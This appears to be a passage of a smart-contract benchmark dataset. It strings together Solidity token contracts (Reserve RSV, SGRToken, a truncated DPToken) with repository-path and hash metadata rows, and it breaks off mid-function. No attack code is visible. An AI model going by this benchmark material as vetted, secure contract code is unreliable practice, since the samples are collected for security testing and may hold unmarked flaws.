return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; address private _nominatedOwner; event NewOwnerNominated(address indexed previousOwner, address indexed nominee); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function nominatedOwner() external view returns (address) { return _nominatedOwner; } modifier onlyOwner() { _onlyOwner(); _; } function _onlyOwner() internal view { require(_msgSender() == _owner, "caller is not owner"); } function nominateNewOwner(address newOwner) external onlyOwner { require(newOwner != address(0), "new owner is 0 address"); emit NewOwnerNominated(_owner, newOwner); _nominatedOwner = newOwner; } function acceptOwnership() external { require(_nominatedOwner == _msgSender(), "unauthorized"); emit OwnershipTransferred(_owner, _nominatedOwner); _owner = _nominatedOwner; } function renounceOwnership(string calldata declaration) external onlyOwner { string memory requiredDeclaration = "I hereby renounce ownership of this contract forever."; require(keccak256(abi.encodePacked(declaration)) == keccak256(abi.encodePacked(requiredDeclaration)), "declaration incorrect"); emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ReserveEternalStorage is Ownable { using SafeMath for uint256; // ===== auth ===== address public reserveAddress; event ReserveAddressTransferred(address indexed oldReserveAddress, address indexed newReserveAddress); /// On construction, set auth fields. constructor() public { reserveAddress = _msgSender(); emit ReserveAddressTransferred(address(0), reserveAddress); } /// Only run modified function if sent by `reserveAddress`. modifier onlyReserveAddress() { require(_msgSender() == reserveAddress, "onlyReserveAddress"); _; } /// Set `reserveAddress`. function updateReserveAddress(address newReserveAddress) external { require(newReserveAddress != address(0), "zero address"); require(_msgSender() == reserveAddress || _msgSender() == owner(), "not authorized"); emit ReserveAddressTransferred(reserveAddress, newReserveAddress); reserveAddress = newReserveAddress; } // ===== balance ===== mapping(address => uint256) public balance; /// Add `value` to `balance[key]`, unless this causes integer overflow. /// /// @dev This is a slight divergence from the strict Eternal Storage pattern, but it reduces /// the gas for the by-far most common token usage, it's a *very simple* divergence, and /// `setBalance` is available anyway. function addBalance(address key, uint256 value) external onlyReserveAddress { balance[key] = balance[key].add(value); } /// Subtract `value` from `balance[key]`, unless this causes integer underflow. function subBalance(address key, uint256 value) external onlyReserveAddress { balance[key] = balance[key].sub(value); } /// Set `balance[key]` to `value`. function setBalance(address key, uint256 value) external onlyReserveAddress { balance[key] = value; } // ===== allowed ===== mapping(address => mapping(address => uint256)) public allowed; /// Set `to`'s allowance of `from`'s tokens to `value`. function setAllowed(address from, address to, uint256 value) external onlyReserveAddress { allowed[from][to] = value; } } interface ITXFee { function calculateFee(address from, address to, uint256 amount) external returns (uint256); } contract Reserve is IERC20, Ownable { using SafeMath for uint256; // ==== State ==== // Non-constant-sized data ReserveEternalStorage internal trustedData; // TX Fee helper contract ITXFee public trustedTxFee; // Basic token data uint256 public totalSupply; uint256 public maxSupply; // Paused data bool public paused; // Auth roles address public minter; address public pauser; address public feeRecipient; // ==== Events, Constants, and Constructor ==== // Auth role change events event MinterChanged(address indexed newMinter); event PauserChanged(address indexed newPauser); event FeeRecipientChanged(address indexed newFeeRecipient); event MaxSupplyChanged(uint256 indexed newMaxSupply); event EternalStorageTransferred(address indexed newReserveAddress); event TxFeeHelperChanged(address indexed newTxFeeHelper); // Pause events event Paused(address indexed account); event Unpaused(address indexed account); // Basic information as constants string public constant name = "Reserve"; string public constant symbol = "RSV"; uint8 public constant decimals = 18; /// Initialize critical fields. constructor() public { pauser = msg.sender; feeRecipient = msg.sender; // minter defaults to the zero address. maxSupply = 2 ** 256 - 1; paused = true; trustedTxFee = ITXFee(address(0)); trustedData = new ReserveEternalStorage(); trustedData.nominateNewOwner(msg.sender); } /// Accessor for eternal storage contract address. function getEternalStorageAddress() external view returns(address) { return address(trustedData); } // ==== Admin functions ==== /// Modifies a function to only run if sent by `role`. modifier only(address role) { require(msg.sender == role, "unauthorized: not role holder"); _; } /// Modifies a function to only run if sent by `role` or the contract's `owner`. modifier onlyOwnerOr(address role) { require(msg.sender == owner() || msg.sender == role, "unauthorized: not owner or role"); _; } /// Change who holds the `minter` role. function changeMinter(address newMinter) external onlyOwnerOr(minter) { minter = newMinter; emit MinterChanged(newMinter); } /// Change who holds the `pauser` role. function changePauser(address newPauser) external onlyOwnerOr(pauser) { pauser = newPauser; emit PauserChanged(newPauser); } function changeFeeRecipient(address newFeeRecipient) external onlyOwnerOr(feeRecipient) { feeRecipient = newFeeRecipient; emit FeeRecipientChanged(newFeeRecipient); } /// Make a different address the EternalStorage contract's reserveAddress. /// This will break this contract, so only do it if you're /// abandoning this contract, e.g., for an upgrade. function transferEternalStorage(address newReserveAddress) external onlyOwner isPaused { require(newReserveAddress != address(0), "zero address"); emit EternalStorageTransferred(newReserveAddress); trustedData.updateReserveAddress(newReserveAddress); } /// Change the contract that helps with transaction fee calculation. function changeTxFeeHelper(address newTrustedTxFee) external onlyOwner { trustedTxFee = ITXFee(newTrustedTxFee); emit TxFeeHelperChanged(newTrustedTxFee); } /// Change the maximum supply allowed. function changeMaxSupply(uint256 newMaxSupply) external onlyOwner { maxSupply = newMaxSupply; emit MaxSupplyChanged(newMaxSupply); } /// Pause the contract. function pause() external only(pauser) { paused = true; emit Paused(pauser); } /// Unpause the contract. function unpause() external only(pauser) { paused = false; emit Unpaused(pauser); } /// Modifies a function to run only when the contract is paused. modifier isPaused() { require(paused, "contract is not paused"); _; } /// Modifies a function to run only when the contract is not paused. modifier notPaused() { require(!paused, "contract is paused"); _; } // ==== Token transfers, allowances, minting, and burning ==== /// @return how many attoRSV are held by `holder`. function balanceOf(address holder) external view returns (uint256) { return trustedData.balance(holder); } /// @return how many attoRSV `holder` has allowed `spender` to control. function allowance(address holder, address spender) external view returns (uint256) { return trustedData.allowed(holder, spender); } /// Transfer `value` attoRSV from `msg.sender` to `to`. function transfer(address to, uint256 value) external notPaused returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) external notPaused returns (bool) { _approve(msg.sender, spender, value); return true; } /// Transfer approved tokens from one address to another. /// @param from address The address to send tokens from. /// @param to address The address to send tokens to. /// @param value uint256 The number of attotokens to send. function transferFrom(address from, address to, uint256 value) external notPaused returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, trustedData.allowed(from, msg.sender).sub(value)); return true; } /// Increase `spender`'s allowance of the sender's tokens. /// @dev From MonolithDAO Token.sol /// @param spender The address which will spend the funds. /// @param addedValue How many attotokens to increase the allowance by. function increaseAllowance(address spender, uint256 addedValue) external notPaused returns (bool) { _approve(msg.sender, spender, trustedData.allowed(msg.sender, spender).add(addedValue)); return true; } /// Decrease `spender`'s allowance of the sender's tokens. /// @dev From MonolithDAO Token.sol /// @param spender The address which will spend the funds. /// @param subtractedValue How many attotokens to decrease the allowance by. function decreaseAllowance(address spender, uint256 subtractedValue) external notPaused returns (bool) { _approve(msg.sender, spender, trustedData.allowed(msg.sender, spender).sub(subtractedValue)); return true; } /// Mint `value` new attotokens to `account`. function mint(address account, uint256 value) external notPaused only(minter) { require(account != address(0), "can't mint to address zero"); totalSupply = totalSupply.add(value); require(totalSupply < maxSupply, "max supply exceeded"); trustedData.addBalance(account, value); emit Transfer(address(0), account, value); } /// Burn `value` attotokens from `account`, if sender has that much allowance from `account`. function burnFrom(address account, uint256 value) external notPaused only(minter) { _burn(account, value); _approve(account, msg.sender, trustedData.allowed(account, msg.sender).sub(value)); } /// @dev Transfer of `value` attotokens from `from` to `to`. /// Internal; doesn't check permissions. function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "can't transfer to address zero"); trustedData.subBalance(from, value); uint256 fee = 0; if (address(trustedTxFee) != address(0)) { fee = trustedTxFee.calculateFee(from, to, value); require(fee <= value, "transaction fee out of bounds"); trustedData.addBalance(feeRecipient, fee); emit Transfer(from, feeRecipient, fee); } trustedData.addBalance(to, value.sub(fee)); emit Transfer(from, to, value.sub(fee)); } /// @dev Burn `value` attotokens from `account`. /// Internal; doesn't check permissions. function _burn(address account, uint256 value) internal { require(account != address(0), "can't burn from address zero"); totalSupply = totalSupply.sub(value); trustedData.subBalance(account, value); emit Transfer(account, address(0), value); } /// @dev Set `spender`'s allowance on `holder`'s tokens to `value` attotokens. /// Internal; doesn't check permissions. function _approve(address holder, address spender, uint256 value) internal { require(spender != address(0), "spender cannot be address zero"); require(holder != address(0), "holder cannot be address zero"); trustedData.setAllowed(holder, spender, value); emit Approval(holder, spender, value); } }
282,815
12,075
c486e8646b72a999a407ef2f3bcd8da68d9aee205bb55fda833dab80f21a5605
17,282
.sol
Solidity
false
593908510
SKKU-SecLab/SmartMark
fdf0675d2f959715d6f822351544c6bc91a5bdd4
dataset/Solidity_codes_9324/0xaea8e1b6cb5c05d1dac618551c76bcd578ea3524.sol
4,511
17,010
pragma solidity 0.4.25; interface IPaymentHandler { function getEthBalance() external view returns (uint256); function transferEthToSgrHolder(address _to, uint256 _value) external; } interface IMintListener { function mintSgrForSgnHolders(uint256 _value) external; } interface ISGRTokenManager { function exchangeEthForSgr(address _sender, uint256 _ethAmount) external returns (uint256); function afterExchangeEthForSgr(address _sender, uint256 _ethAmount, uint256 _sgrAmount) external; function exchangeSgrForEth(address _sender, uint256 _sgrAmount) external returns (uint256); function afterExchangeSgrForEth(address _sender, uint256 _sgrAmount, uint256 _ethAmount) external returns (bool); function uponTransfer(address _sender, address _to, uint256 _value) external; function afterTransfer(address _sender, address _to, uint256 _value, bool _transferResult) external returns (bool); function uponTransferFrom(address _sender, address _from, address _to, uint256 _value) external; function afterTransferFrom(address _sender, address _from, address _to, uint256 _value, bool _transferFromResult) external returns (bool); function uponDeposit(address _sender, uint256 _balance, uint256 _amount) external returns (address, uint256); function uponWithdraw(address _sender, uint256 _balance) external returns (address, uint256); function afterWithdraw(address _sender, address _wallet, uint256 _amount, uint256 _priorWithdrawEthBalance, uint256 _afterWithdrawEthBalance) external; function uponMintSgrForSgnHolders(uint256 _value) external; function afterMintSgrForSgnHolders(uint256 _value) external; function uponTransferSgrToSgnHolder(address _to, uint256 _value) external; function afterTransferSgrToSgnHolder(address _to, uint256 _value) external; function postTransferEthToSgrHolder(address _to, uint256 _value, bool _status) external; function getDepositParams() external view returns (address, uint256); function getWithdrawParams() external view returns (address, uint256); } interface IContractAddressLocator { function getContractAddress(bytes32 _identifier) external view returns (address); function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool); } contract ContractAddressLocatorHolder { bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource"; bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ; bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ; bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ; bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ; bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ; bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ; bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ; bytes32 internal constant _IMintHandler_ = "IMintHandler" ; bytes32 internal constant _IMintListener_ = "IMintListener" ; bytes32 internal constant _IMintManager_ = "IMintManager" ; bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ; bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ; bytes32 internal constant _IRedButton_ = "IRedButton" ; bytes32 internal constant _IReserveManager_ = "IReserveManager" ; bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ; bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ; bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ; bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ; bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ; bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager"; bytes32 internal constant _ISGRToken_ = "ISGRToken" ; bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ; bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ; bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager"; bytes32 internal constant _ISGNToken_ = "ISGNToken" ; bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ; bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ; bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ; bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ; bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ; bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ; bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ; bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ; bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ; bytes32 internal constant _IETHConverter_ = "IETHConverter" ; bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ; bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ; bytes32 internal constant _IRateApprover_ = "IRateApprover" ; bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ; IContractAddressLocator private contractAddressLocator; constructor(IContractAddressLocator _contractAddressLocator) internal { require(_contractAddressLocator != address(0), "locator is illegal"); contractAddressLocator = _contractAddressLocator; } function getContractAddressLocator() external view returns (IContractAddressLocator) { return contractAddressLocator; } function getContractAddress(bytes32 _identifier) internal view returns (address) { return contractAddressLocator.getContractAddress(_identifier); } function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) { return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers); } modifier only(bytes32 _identifier) { require(msg.sender == getContractAddress(_identifier), "caller is illegal"); _; } } interface ISogurExchanger { function transferSgrToSgnHolder(address _to, uint256 _value) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from], "sdjfndskjfndskjfb"); require(to != address(0), "asfdsf"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0, "heerrrrrsss"); require(value <= _balances[account], "heerrrrr"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); } } interface ISGRTokenInfo { function getName() external pure returns (string); function getSymbol() external pure returns (string); function getDecimals() external pure returns (uint8); } contract SGRToken is ERC20, ContractAddressLocatorHolder, IMintListener, ISogurExchanger, IPaymentHandler { string public constant VERSION = "2.0.0"; bool public initialized; event SgrTokenInitialized(address indexed _initializer, address _sgaToSGRTokenExchangeAddress, uint256 _sgaToSGRTokenExchangeSGRSupply); address public constant SGR_MINTED_FOR_SGN_HOLDERS = address(keccak256("SGR_MINTED_FOR_SGN_HOLDERS")); constructor(IContractAddressLocator _contractAddressLocator) ContractAddressLocatorHolder(_contractAddressLocator) public {} function getSGRTokenManager() public view returns (ISGRTokenManager) { return ISGRTokenManager(getContractAddress(_ISGRTokenManager_)); } function getSGRTokenInfo() public view returns (ISGRTokenInfo) { return ISGRTokenInfo(getContractAddress(_ISGRTokenInfo_)); } function name() public view returns (string) { return getSGRTokenInfo().getName(); } function symbol() public view returns (string){ return getSGRTokenInfo().getSymbol(); } function decimals() public view returns (uint8){ return getSGRTokenInfo().getDecimals(); } modifier onlyIfNotInitialized() { require(!initialized, "contract already initialized"); _; } function() external payable { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); uint256 amount = sgrTokenManager.exchangeEthForSgr(msg.sender, msg.value); _mint(msg.sender, amount); sgrTokenManager.afterExchangeEthForSgr(msg.sender, msg.value, amount); } function exchange() external payable { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); uint256 amount = sgrTokenManager.exchangeEthForSgr(msg.sender, msg.value); _mint(msg.sender, amount); sgrTokenManager.afterExchangeEthForSgr(msg.sender, msg.value, amount); } function init(address _sgaToSGRTokenExchangeAddress, uint256 _sgaToSGRTokenExchangeSGRSupply) external onlyIfNotInitialized only(_SGAToSGRInitializer_) { require(_sgaToSGRTokenExchangeAddress != address(0), "SGA to SGR token exchange address is illegal"); initialized = true; _mint(_sgaToSGRTokenExchangeAddress, _sgaToSGRTokenExchangeSGRSupply); emit SgrTokenInitialized(msg.sender, _sgaToSGRTokenExchangeAddress, _sgaToSGRTokenExchangeSGRSupply); } function transfer(address _to, uint256 _value) public returns (bool) { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); if (_to == address(this)) { uint256 amount = sgrTokenManager.exchangeSgrForEth(msg.sender, _value); _burn(msg.sender, _value); msg.sender.transfer(amount); return sgrTokenManager.afterExchangeSgrForEth(msg.sender, _value, amount); } sgrTokenManager.uponTransfer(msg.sender, _to, _value); bool transferResult = super.transfer(_to, _value); return sgrTokenManager.afterTransfer(msg.sender, _to, _value, transferResult); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); require(_to != address(this), "custodian-transfer of SGR into this contract is illegal"); sgrTokenManager.uponTransferFrom(msg.sender, _from, _to, _value); bool transferFromResult = super.transferFrom(_from, _to, _value); return sgrTokenManager.afterTransferFrom(msg.sender, _from, _to, _value, transferFromResult); } function deposit() external payable { getSGRTokenManager().uponDeposit(msg.sender, address(this).balance, msg.value); } function withdraw() external { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); uint256 priorWithdrawEthBalance = address(this).balance; (address wallet, uint256 amount) = sgrTokenManager.uponWithdraw(msg.sender, priorWithdrawEthBalance); wallet.transfer(amount); sgrTokenManager.afterWithdraw(msg.sender, wallet, amount, priorWithdrawEthBalance, address(this).balance); } function mintSgrForSgnHolders(uint256 _value) external only(_IMintManager_) { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); sgrTokenManager.uponMintSgrForSgnHolders(_value); _mint(SGR_MINTED_FOR_SGN_HOLDERS, _value); sgrTokenManager.afterMintSgrForSgnHolders(_value); } function transferSgrToSgnHolder(address _to, uint256 _value) external only(_SgnToSgrExchangeInitiator_) { ISGRTokenManager sgrTokenManager = getSGRTokenManager(); sgrTokenManager.uponTransferSgrToSgnHolder(_to, _value); _transfer(SGR_MINTED_FOR_SGN_HOLDERS, _to, _value); sgrTokenManager.afterTransferSgrToSgnHolder(_to, _value); } function transferEthToSgrHolder(address _to, uint256 _value) external only(_IPaymentManager_) { bool status = _to.send(_value); getSGRTokenManager().postTransferEthToSgrHolder(_to, _value, status); } function getEthBalance() external view returns (uint256) { return address(this).balance; } function getDepositParams() external view returns (address, uint256) { return getSGRTokenManager().getDepositParams(); } function getWithdrawParams() external view returns (address, uint256) { return getSGRTokenManager().getWithdrawParams(); } }
274,830
12,076
3126af48d66cc04486d0df2b1b9c40fecf3b58d64df734eaee14278996cb1879
14,160
.sol
Solidity
false
287517600
renardbebe/Smart-Contract-Benchmark-Suites
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
dataset/UR/0x42266bd16b66b5ff86cc9c63e52d1394778dc596.sol
3,587
13,687
pragma solidity 0.5.11; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Ownable: the caller must be owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 internal _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(value, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(value, "ERC20: burn amount exceeds total supply"); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract Pausable is Ownable { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyOwner whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyOwner whenPaused { _paused = false; emit Unpaused(msg.sender); } } contract ERC20Burnable is ERC20 { function burn(uint256 amount) public { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } contract ERC20Pausable is ERC20Burnable, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } function burn(uint256 amount) public whenNotPaused { super.burn(amount); } function burnFrom(address account, uint256 amount) public whenNotPaused { super.burnFrom(account, amount); } } contract DPToken is ERC20Pausable { string public constant name = "Dark Pool"; string public constant symbol = "DP"; uint8 public constant decimals = 8; uint256 internal constant INIT_TOTALSUPPLY = 210000000; mapping(address => uint256) public lockedAmount; mapping (address => LockItem[]) public lockInfo; uint256 private constant DAY_TIMES = 24 * 60 * 60; event SendAndLockToken(address indexed beneficiary, uint256 lockAmount, uint256 lockTime); event ReleaseToken(address indexed beneficiary, uint256 releaseAmount); event LockToken(address indexed targetAddr, uint256 lockAmount); event UnlockToken(address indexed targetAddr, uint256 releaseAmount); struct LockItem { address lock_address; uint256 lock_amount; uint256 lock_time; uint256 lock_startTime; } constructor() public { _totalSupply = formatDecimals(INIT_TOTALSUPPLY); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function sendAndLockToken(address beneficiary, uint256 lockAmount, uint256 lockDays) public onlyOwner { require(beneficiary != address(0), "DPToken: beneficiary is the zero address"); require(lockAmount > 0, "DPToken: the amount of lock is 0"); require(lockDays > 0, "DPToken: the days of lock is 0"); uint256 _lockAmount = formatDecimals(lockAmount); uint256 _lockTime = lockDays.mul(DAY_TIMES); lockInfo[beneficiary].push(LockItem(beneficiary, _lockAmount, _lockTime, now)); emit SendAndLockToken(beneficiary, _lockAmount, _lockTime); _balances[owner] = _balances[owner].sub(_lockAmount, "DPToken: owner doesn't have enough tokens"); emit Transfer(owner, address(0), _lockAmount); } function releaseToken(address beneficiary) public returns (bool) { uint256 amount = getReleasableAmount(beneficiary); require(amount > 0, "DPToken: no releasable tokens"); for(uint256 i; i < lockInfo[beneficiary].length; i++) { uint256 lockedTime = (now.sub(lockInfo[beneficiary][i].lock_startTime)); if (lockedTime >= lockInfo[beneficiary][i].lock_time) { delete lockInfo[beneficiary][i]; } } _balances[beneficiary] = _balances[beneficiary].add(amount); emit Transfer(address(0), beneficiary, amount); emit ReleaseToken(beneficiary, amount); return true; } function getReleasableAmount(address beneficiary) public view returns (uint256) { require(lockInfo[beneficiary].length != 0, "DPToken: the address has not lock items"); uint num = 0; for(uint256 i; i < lockInfo[beneficiary].length; i++) { uint256 lockedTime = 